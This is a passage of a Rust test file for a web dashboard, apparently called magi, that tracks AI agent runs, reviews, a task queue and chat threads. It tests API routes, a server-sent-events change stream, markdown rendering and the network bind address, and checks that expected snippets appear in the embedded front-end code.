11029 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11030 }
11031
11032 #[tokio::test]
11033 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11034 let f = Fixture::start().await;
11035 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11036
11037 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11038
11039 assert_eq!(res.status, 200);
11040 assert!(
11041 res.headers
11042 .contains("content-type: text/plain; charset=utf-8"),
11043 "a browser must render it, not download it: {}",
11044 res.headers
11045 );
11046 assert!(
11050 res.body.contains("20260902-140501-a1b2"),
11051 "the report is about the run that was asked for: {}",
11052 res.body
11053 );
11054 }
11055
11056 #[tokio::test]
11057 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11058 let f = Fixture::start().await;
11059
11060 let html = f.get("/").await;
11061 let css = f.get("/app.css").await;
11062 let js = f.get("/app.js").await;
11063
11064 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11065 assert!(
11066 html.headers
11067 .contains("content-type: text/html; charset=utf-8")
11068 );
11069 assert!(css.headers.contains("content-type: text/css"));
11070 assert!(js.headers.contains("content-type: text/javascript"));
11071 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11072 }
11073
11074 #[test]
11075 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11076 let body = |name: &str| {
11077 let at = APP_JS
11078 .find(name)
11079 .unwrap_or_else(|| panic!("{name} missing"));
11080 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11081 };
11082 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11083 let note = body("function landRoundNote");
11084 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11085 assert!(note.contains("Land round ${round}"));
11086 let land = body("function renderLand");
11087 let note_at = land
11088 .find("landRoundNote(pr)")
11089 .expect("renderLand uses the note");
11090 assert!(
11091 note_at
11092 < land
11093 .find("roundRail(pr)")
11094 .expect("renderLand uses the rail")
11095 );
11096 }
11097
11098 #[test]
11099 fn the_runs_page_redesign_keeps_its_guards() {
11100 let body = |name: &str| {
11101 let at = APP_JS
11102 .find(name)
11103 .unwrap_or_else(|| panic!("{name} missing"));
11104 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11105 };
11106 let land = body("function renderLand");
11108 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11109 assert!(
11110 !land.contains("box.append("),
11111 "renderLand must use append()"
11112 );
11113 assert!(land.contains("append(box, ["));
11114 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11116 assert!(
11117 body("function applyRoute")
11118 .contains("route.name !== state.route.name || route.id !== state.route.id")
11119 );
11120 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11122 assert!(!INDEX_HTML.contains("advise-converge"));
11123 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11124 assert!(APP_JS.contains("provisional"));
11125 for id in [
11126 "run-tab-overview",
11127 "run-tab-timeline",
11128 "run-tab-report",
11129 "run-report",
11130 "runs-scope",
11131 ] {
11132 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11133 }
11134 assert!(!INDEX_HTML.contains("runs-tree"));
11135 assert!(!INDEX_HTML.contains("run-raw-panel"));
11136 assert!(APP_JS.contains("resume"));
11138 assert!(APP_JS.contains("unreadable"));
11140 }
11141
11142 #[test]
11143 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11144 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11145 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11146 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11147 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11148 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11149 assert!(APP_JS.contains("unreadable` : null"));
11151 }
11152
11153 #[test]
11154 fn the_run_detail_payload_says_whether_the_run_is_done() {
11155 for (status, done) in [
11157 (RunStatus::Superseded, true),
11158 (RunStatus::Blocked, true),
11159 (RunStatus::Landing, false),
11160 ] {
11161 let mut state = RunState::new(
11162 std::path::PathBuf::from("/repo"),
11163 "main".to_owned(),
11164 "abc".to_owned(),
11165 "x".to_owned(),
11166 crate::config::Config::default(),
11167 );
11168 state.status = status;
11169 let v = serde_json::to_value(RunDetailView::of(
11170 state,
11171 crate::run::Liveness::Unknown,
11172 None,
11173 None,
11174 None,
11175 ))
11176 .unwrap();
11177 assert_eq!(v["done"], done, "{status:?}");
11178 }
11179 }
11180
11181 fn has_strong(nodes: &[md::Node]) -> bool {
11183 serde_json::to_string(nodes).unwrap().contains("strong")
11184 }
11185
11186 #[test]
11187 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11188 let mut state = RunState::new(
11189 std::path::PathBuf::from("/repo"),
11190 "main".to_owned(),
11191 "abc".to_owned(),
11192 "x".to_owned(),
11193 crate::config::Config::default(),
11194 );
11195 let proposal = |approach: &str| {
11196 serde_json::json!({
11197 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11198 })
11199 };
11200 state.advice = Some(
11201 serde_json::from_value(serde_json::json!({
11202 "records": [
11203 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11204 "proposal": proposal("do **this**")},
11205 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11206 ],
11207 "synthesis": "- one\n- **two**\n\n`code`",
11208 }))
11209 .unwrap(),
11210 );
11211 state.candidates = serde_json::from_value(serde_json::json!([
11212 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11213 "summary": "did **it**"},
11214 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11215 ]))
11216 .unwrap();
11217 state.reviews = serde_json::from_value(serde_json::json!([{
11220 "round": 1, "head": "h",
11221 "reviews": [{
11222 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11223 "findings": [
11224 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11225 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11226 ],
11227 }],
11228 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11229 "fix": {"agent": "a", "notes": "fixed **it**",
11230 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11231 }, {"round": 2, "head": "h2", "reviews": []}]))
11232 .unwrap();
11233
11234 let v = serde_json::to_value(RunDetailView::of(
11235 state,
11236 crate::run::Liveness::Unknown,
11237 None,
11238 None,
11239 None,
11240 ))
11241 .unwrap();
11242
11243 let strong = |p: &str| {
11244 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11245 assert!(n.to_string().contains("strong"), "{p}: {n}");
11246 };
11247 strong("/advice_md/synthesis");
11248 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11249 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11250 strong("/advice_md/approaches/0");
11251 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11252 strong("/candidate_summaries_md/0");
11253 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11254 strong("/reviews_md/0/reviewers/0/summary");
11255 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11256 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11257 assert!(f[1].to_string().contains("strong"));
11258 strong("/reviews_md/0/reconsideration/0");
11259 strong("/reviews_md/0/fix/notes");
11260 strong("/reviews_md/0/fix/rejected/0");
11261 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11262 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11263 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11265 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11266 }
11267
11268 #[test]
11269 fn a_run_without_advice_has_no_advice_md() {
11270 let state = RunState::new(
11271 std::path::PathBuf::from("/repo"),
11272 "main".to_owned(),
11273 "abc".to_owned(),
11274 "x".to_owned(),
11275 crate::config::Config::default(),
11276 );
11277 let p = run_prose_md(&state);
11278 assert!(p.advice_md.is_none());
11279 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11280 }
11281
11282 #[test]
11283 fn a_question_view_carries_markdown_for_each_thread_turn() {
11284 let home = TempDir::new().unwrap();
11285 let store = ask::Questions::at(home.path().join("questions"));
11286 let mut q = Question::new(
11287 "run".to_owned(),
11288 "implement".to_owned(),
11289 "impl-A".to_owned(),
11290 "which?".to_owned(),
11291 String::new(),
11292 Vec::new(),
11293 );
11294 q.say("plain words").unwrap();
11295 q.reply("use **this**", Vec::new()).unwrap();
11296 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11297 let bodies = &v["thread_bodies_md"];
11298 assert_eq!(bodies.as_array().unwrap().len(), 2);
11299 assert!(!bodies[0].to_string().contains("strong"));
11300 assert!(bodies[1].to_string().contains("strong"));
11301 }
11302
11303 #[test]
11304 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11305 assert!(APP_JS.contains("function landView(run, raw) {"));
11309 assert!(
11310 APP_JS.contains(
11311 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11312 )
11313 );
11314 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11315 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11316 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11317 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11318 }
11319
11320 #[test]
11321 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11322 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11323 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11324 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11325 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11326 }
11327
11328 #[test]
11329 fn review_rounds_label_a_distinct_verified_head() {
11330 assert!(APP_JS.contains("round.verified_head"));
11331 assert!(APP_JS.contains("verified HEAD"));
11332 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11333 }
11334
11335 #[test]
11336 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11337 assert!(APP_JS.contains("blocked: { glyph:"));
11341 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11342
11343 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11347 assert!(
11348 APP_JS.contains(
11349 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11350 ),
11351 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11352 );
11353 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11357
11358 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11362 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11363 assert!(
11364 APP_JS.contains("location.hash = \"#/questions\";"),
11365 "a question node must jump to the Questions screen, not pretend to be a task"
11366 );
11367
11368 assert!(APP_JS.contains("Resolved questions"));
11371 assert!(APP_JS.contains("r.answersList.append("));
11372 assert!(APP_CSS.contains(".task-answers"));
11373 {
11374 let start = APP_JS
11375 .find("function updateTalkTaskRow")
11376 .expect("updateTalkTaskRow");
11377 let body = &APP_JS[start..];
11378 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11379 assert!(
11380 body.contains(
11381 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11382 ),
11383 "a chat-filed task row must link to the task page"
11384 );
11385 assert!(
11386 !body.contains("#/runs/") && !body.contains("#/queue/"),
11387 "the row must not branch to a run or the queue card"
11388 );
11389 assert!(APP_CSS.contains(".talk-task-link"));
11390 }
11391 }
11392
11393 #[test]
11394 fn a_task_notification_links_to_the_task_page() {
11395 let start = APP_JS
11397 .find("function noticeLink(")
11398 .expect("noticeLink exists");
11399 let body = &APP_JS[start..];
11400 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11401 assert!(
11402 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11403 "a task notice's link must target the task page"
11404 );
11405 assert!(
11406 !body.contains("#/queue/"),
11407 "regression: the task link must not go back to the Backlog route"
11408 );
11409 assert!(
11410 APP_JS.contains(
11411 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11412 ),
11413 "`#/tasks/<id>` must parse into the task route"
11414 );
11415
11416 assert!(
11418 APP_JS.contains(
11419 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11420 ),
11421 "`#/queue/<id>` must parse into a route carrying that id"
11422 );
11423
11424 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11428 assert!(APP_JS.contains("function consumeQueueFocus()"));
11429 assert!(APP_JS.contains("jumpToTask(id)"));
11430 }
11431
11432 #[test]
11435 fn chat_rows_put_the_title_alone_on_the_first_line() {
11436 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11437 assert!(APP_CSS.contains(
11438 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11439 ));
11440 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11441 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11442 }
11443
11444 #[test]
11445 fn run_rows_put_the_title_alone_on_the_first_line() {
11446 assert!(
11447 APP_CSS.contains(
11448 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11449 )
11450 );
11451 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11452 assert!(APP_JS.contains("class: \"card run-card\""));
11453 assert!(APP_JS.contains("class: \"repo run-id\""));
11454 }
11455
11456 #[test]
11460 fn wide_screens_show_list_and_preview_side_by_side() {
11461 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11463 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11464 assert!(APP_CSS.contains("main[data-split]"));
11465 assert!(APP_CSS.contains("body[data-split]"));
11466
11467 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11469 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11470 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11471 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11472 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11473
11474 assert!(APP_JS.contains("function markSelected() {"));
11476 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11477 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11478 assert!(
11480 APP_CSS.contains(
11481 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11482 )
11483 );
11484
11485 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11487 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11488 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11489 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11490
11491 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11495 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11496 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11497 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11498
11499 assert!(APP_JS.contains("sandbox: \"\""));
11501 assert!(!APP_JS.contains("sandbox: \"allow"));
11502 }
11503
11504 #[test]
11505 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11506 assert!(
11515 APP_JS.contains(
11516 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11517 ),
11518 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11519 recursive renderQueue() call has nothing left to jump to"
11520 );
11521 assert!(
11522 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11523 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11524 arrives later still gets it"
11525 );
11526 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11527 assert!(APP_JS.contains("is not in the current Backlog."));
11528 assert!(APP_JS.contains("li.card[data-task-id=\""));
11529 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11530 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11531 assert!(APP_CSS.contains(".card-permalink"));
11532 assert!(APP_CSS.contains(".queue-focus-status"));
11533 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11534 }
11535
11536 #[test]
11537 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11538 assert!(
11546 APP_JS.contains(
11547 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11548 ),
11549 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11550 );
11551 }
11552
11553 #[test]
11554 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11555 assert!(
11556 APP_JS.contains("round.verified_head !== round.head"),
11557 "a round that verified an earlier commit must be visibly distinct from one that \
11558 verified the head reviewers are looking at now"
11559 );
11560 assert!(
11561 APP_JS.contains("round.verified_at"),
11562 "when a check ran must be on the wire, not just which commit"
11563 );
11564 assert!(
11565 APP_JS.contains("resource_blocked"),
11566 "a command magi never got to run (shared build cache contention) must not render \
11567 the same as a command that ran and failed"
11568 );
11569 }
11570
11571 #[test]
11572 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11573 assert!(
11581 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11582 "every KPI tile built through statusTile() must route its click through \
11583 openRunsFiltered, the single place that sets the Runs filter"
11584 );
11585 for (label, status) in [
11586 ("Merged", "merged"),
11587 ("Ready", "ready"),
11588 ("Blocked", "blocked"),
11589 ("Stalled", "stalled"),
11590 ] {
11591 let call = format!("statusTile(\"{label}\", t.{status}, ");
11592 assert!(
11593 APP_JS.contains(&call),
11594 "expected the {label} KPI tile built via {call}..."
11595 );
11596 assert!(
11597 APP_JS.contains(&format!("status === \"{status}\"")),
11598 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11599 compare a run against, not one invented only for the stats tile"
11600 );
11601 }
11602 assert!(
11603 APP_JS.contains("function openRunsFiltered(status)"),
11604 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11605 );
11606 assert!(
11607 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11608 "matchesFilter must gate on the exact status a KPI tile named"
11609 );
11610 assert!(
11618 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11619 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11620 hashchange event that may never fire"
11621 );
11622 }
11623
11624 #[test]
11625 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11626 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11632 assert!(
11633 APP_JS.contains(
11634 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11635 ),
11636 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11637 guard for an incompatible tree section"
11638 );
11639 }
11640
11641 #[test]
11642 fn every_stats_queue_tile_names_a_real_queue_section() {
11643 assert!(
11649 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11650 "every queue tile built through sectionTile() must route its click through \
11651 openQueueSectionFocus"
11652 );
11653 for key in ["upnext", "running", "done", "held", "blocked"] {
11654 assert!(
11655 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11656 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11657 );
11658 }
11659 for line in [
11663 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11664 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11665 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11666 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11667 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11668 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11669 ] {
11670 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11671 }
11672 }
11673
11674 #[test]
11675 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11676 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11683 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11684 assert!(APP_JS.contains("function revealQueueSection(details)"));
11685 assert!(
11686 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11687 "renderQueue() must consume both focus channels on every pass"
11688 );
11689 assert!(
11690 APP_JS.contains(
11691 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11692 ),
11693 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11694 the recursive renderQueue() call has nothing left to reveal"
11695 );
11696 assert!(
11697 APP_JS.contains(
11698 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
11699 ),
11700 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11701 );
11702 assert!(
11710 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
11711 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11712 hashchange event that may never fire"
11713 );
11714 }
11715
11716 #[tokio::test]
11717 async fn the_change_stream_announces_the_current_revisions_on_connect() {
11718 let f = Fixture::start().await;
11719
11720 let mut socket = tokio::net::TcpStream::connect(f.addr)
11721 .await
11722 .expect("connect");
11723 socket
11724 .write_all(
11725 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11726 )
11727 .await
11728 .expect("write request");
11729
11730 let mut seen = String::new();
11733 let mut buf = [0u8; 1024];
11734 while !seen.contains("event: change") {
11735 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11736 .await
11737 .expect("the stream must speak within five seconds")
11738 .expect("read");
11739 assert!(read > 0, "the server closed the change stream: {seen}");
11740 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11741 }
11742
11743 assert!(
11744 seen.to_lowercase()
11745 .contains("content-type: text/event-stream"),
11746 "the browser only reconnects automatically for a real SSE stream: {seen}"
11747 );
11748 let data = seen
11749 .lines()
11750 .find_map(|l| l.strip_prefix("data:"))
11751 .expect("a data line");
11752 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11753 assert!(
11754 payload["queue_rev"].is_u64()
11755 && payload["runs_rev"].is_u64()
11756 && payload["questions_rev"].is_u64()
11757 && payload["talks_rev"].is_u64()
11758 && payload["notifications_rev"].is_u64()
11759 && payload["loop_rev"].is_u64(),
11760 "the client needs one revision per store to know what to refetch, \
11761 and `talks_rev` is the only notification a standing talk gets - a \
11762 phone whose radio slept through a turn learns about it here, as \
11763 does one whose operator started the loop from another device: \
11764 {payload}"
11765 );
11766
11767 let health = f.get("/api/health").await.json();
11774 for key in [
11775 "queue_rev",
11776 "runs_rev",
11777 "questions_rev",
11778 "talks_rev",
11779 "notifications_rev",
11780 "loop_rev",
11781 ] {
11782 assert!(
11783 health[key].is_u64(),
11784 "health is the change stream's fallback and is missing `{key}`: {health}"
11785 );
11786 }
11787 }
11788
11789 #[tokio::test]
11790 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11791 let f = Fixture::start().await;
11792 let before = f.get("/api/health").await.json()["talks_rev"]
11793 .as_u64()
11794 .expect("talks_rev");
11795
11796 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11797 std::thread::sleep(Duration::from_millis(10));
11798 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11799 on_disk.turns.push(crate::talk::Turn {
11800 who: crate::talk::Who::Operator,
11801 body: "a new turn".to_owned(),
11802 at: Timestamp::now(),
11803 attachments: Vec::new(),
11804 usage: None,
11805 });
11806 f.talks().put(&mut on_disk).expect("record a turn");
11807
11808 let after = f.get("/api/health").await.json()["talks_rev"]
11809 .as_u64()
11810 .expect("talks_rev");
11811 assert_ne!(
11812 before, after,
11813 "a phone must be able to notice a talk's reply without polling every store"
11814 );
11815 }
11816
11817 #[test]
11818 fn bind_reads_back_from_the_spelling_the_cli_prints() {
11819 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11823 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11824 }
11825 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11826 assert!("everywhere".parse::<Bind>().is_err());
11827 }
11828
11829 #[test]
11830 fn an_explicit_bind_address_is_taken_verbatim() {
11831 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11832
11833 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11834
11835 assert_eq!(addr, asked);
11836 assert!(
11837 warning.is_none(),
11838 "an operator who named an address gets no lecture"
11839 );
11840 }
11841
11842 #[test]
11843 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11844 let (addr, warning) = resolve_bind(&Bind::Auto);
11845
11846 match addr {
11853 IpAddr::V4(ip) if is_tailnet(&ip) => {
11854 assert!(warning.is_none(), "a tailnet address needs no warning");
11855 }
11856 other => {
11857 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11858 let warning = warning.expect("a fallback has to explain itself");
11859 assert!(
11860 warning.contains("127.0.0.1") && warning.contains("local-only"),
11861 "the warning says what happened and what it costs: {warning}"
11862 );
11863 }
11864 }
11865 }
11866
11867 #[test]
11868 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11869 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11873 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11874 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11875 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11876 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11877 }
11878
11879 #[test]
11880 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11881 let ids = vec![
11882 "20260902-140501-aaaa".to_owned(),
11883 "20260902-140502-aabb".to_owned(),
11884 ];
11885
11886 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11887 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11888 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11889
11890 assert_eq!(missing.status, StatusCode::NOT_FOUND);
11891 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11892 assert_eq!(short, "20260902-140502-aabb");
11893 }
11894 #[tokio::test]
11895 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11896 let fx = Fixture::start().await;
11902 let id = panel(
11903 &fx,
11904 "<img src=\"shot.png\">",
11905 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
11906 );
11907
11908 let doc = fx
11910 .get(&format!("/api/questions/{id}/panel/index.html"))
11911 .await;
11912 assert_eq!(doc.status, 200, "{}", doc.body);
11913 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
11914
11915 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
11916 assert_eq!(sibling.status, 200, "{}", sibling.body);
11917 assert_eq!(sibling.header("content-type"), Some("image/png"));
11918 assert_eq!(
11919 sibling.header("content-security-policy"),
11920 Some(PANEL_CSP),
11921 "the sibling route must carry the same policy as the asset route"
11922 );
11923
11924 assert_eq!(
11927 fx.head(&format!("/api/questions/{id}/panel")).await.status,
11928 200
11929 );
11930 }
11931
11932 #[test]
11933 fn runs_revision_moves_when_deleting_an_older_run() {
11934 let temp = TempDir::new().expect("tempdir");
11935 let runs = temp.path().join("runs");
11936 std::fs::create_dir_all(&runs).expect("create runs dir");
11937
11938 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
11939
11940 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
11941 std::thread::sleep(Duration::from_millis(10));
11942 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
11943
11944 let rev_before = runs_revision(&runs);
11945 assert!(rev_before > 0);
11946
11947 let old_dir = runs.join("20260901-100000-old1");
11948 std::fs::remove_dir_all(&old_dir).expect("remove old run");
11949
11950 let rev_after = runs_revision(&runs);
11951 assert_ne!(
11952 rev_before, rev_after,
11953 "deleting an older run must change the revision so other clients see the deletion"
11954 );
11955 }
11956
11957 fn write_state(runs: &FsPath, state: &RunState) {
11962 let dir = runs.join(&state.id);
11963 std::fs::create_dir_all(&dir).expect("run dir");
11964 std::fs::write(
11965 dir.join("run.json"),
11966 serde_json::to_string_pretty(state).expect("serialize run"),
11967 )
11968 .expect("write run.json");
11969 }
11970
11971 #[test]
11976 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
11977 let temp = TempDir::new().expect("tempdir");
11978 let runs = temp.path().join("runs");
11979 std::fs::create_dir_all(&runs).expect("create runs dir");
11980 let mut state = RunState::new(
11981 PathBuf::from("/repo/magi"),
11982 "main".to_owned(),
11983 "0123456789abcdef".to_owned(),
11984 "task".to_owned(),
11985 Config::default(),
11986 );
